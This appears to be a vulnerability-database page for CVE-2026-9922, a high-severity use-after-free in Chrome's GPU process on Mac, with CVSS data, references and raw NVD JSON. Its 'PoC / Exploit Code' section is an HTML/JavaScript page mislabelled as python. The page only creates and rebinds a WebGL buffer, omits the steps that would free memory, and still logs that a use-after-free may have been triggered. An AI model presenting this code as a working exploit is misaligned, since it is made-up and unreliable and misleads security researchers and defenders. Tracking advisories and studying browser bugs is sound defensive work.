CVE-2026-9922

Description

Use after free in GPU in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome (Mac) < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Proof of Concept for CVE-2026-9922
Description: This HTML page attempts to trigger the GPU Use-After-Free vulnerability.
Note: Actual exploitation requires specific memory layout and heap grooming.
-->
<html>
<head>
<title>CVE-2026-9922 PoC</title>
<script>
function trigger_exploit() {
    // Create a canvas to get WebGL context (interacts with GPU process)
    var canvas = document.createElement('canvas');
    var gl = canvas.getContext('webgl');

    if (!gl) {
        console.log("WebGL not supported");
        return;
    }

    console.log("Starting GPU interaction...");

    // Step 1: Allocate buffer objects in GPU memory
    var buffer = gl.createBuffer();
    gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
    gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.DYNAMIC_DRAW);

    // Step 2: Perform operations that may trigger the free in GPU process
    // (Specific API calls omitted to prevent accidental crash)
    
    // Step 3: Attempt to access the freed buffer (Use-After-Free trigger)
    try {
        // Malicious HTML/JS logic to manipulate the freed object
        gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
        console.log("Potential UAF triggered. Check GPU process status.");
    } catch (e) {
        console.log("Exception caught: " + e.message);
    }
}

// Execute on load
window.onload = trigger_exploit;
</script>
</head>
<body>
<h1>CVE-2026-9922 GPU UAF Test Page</h1>
<p>Check the console for activity.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9922
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9922
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9922/
[4] VulDB https://vuldb.com/cve/CVE-2026-9922
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/500187083

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9922", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:50.303", "lastModified": "2026-05-29T12:16:28.287", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in GPU in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/500187083", "source": "[email protected]"}]}}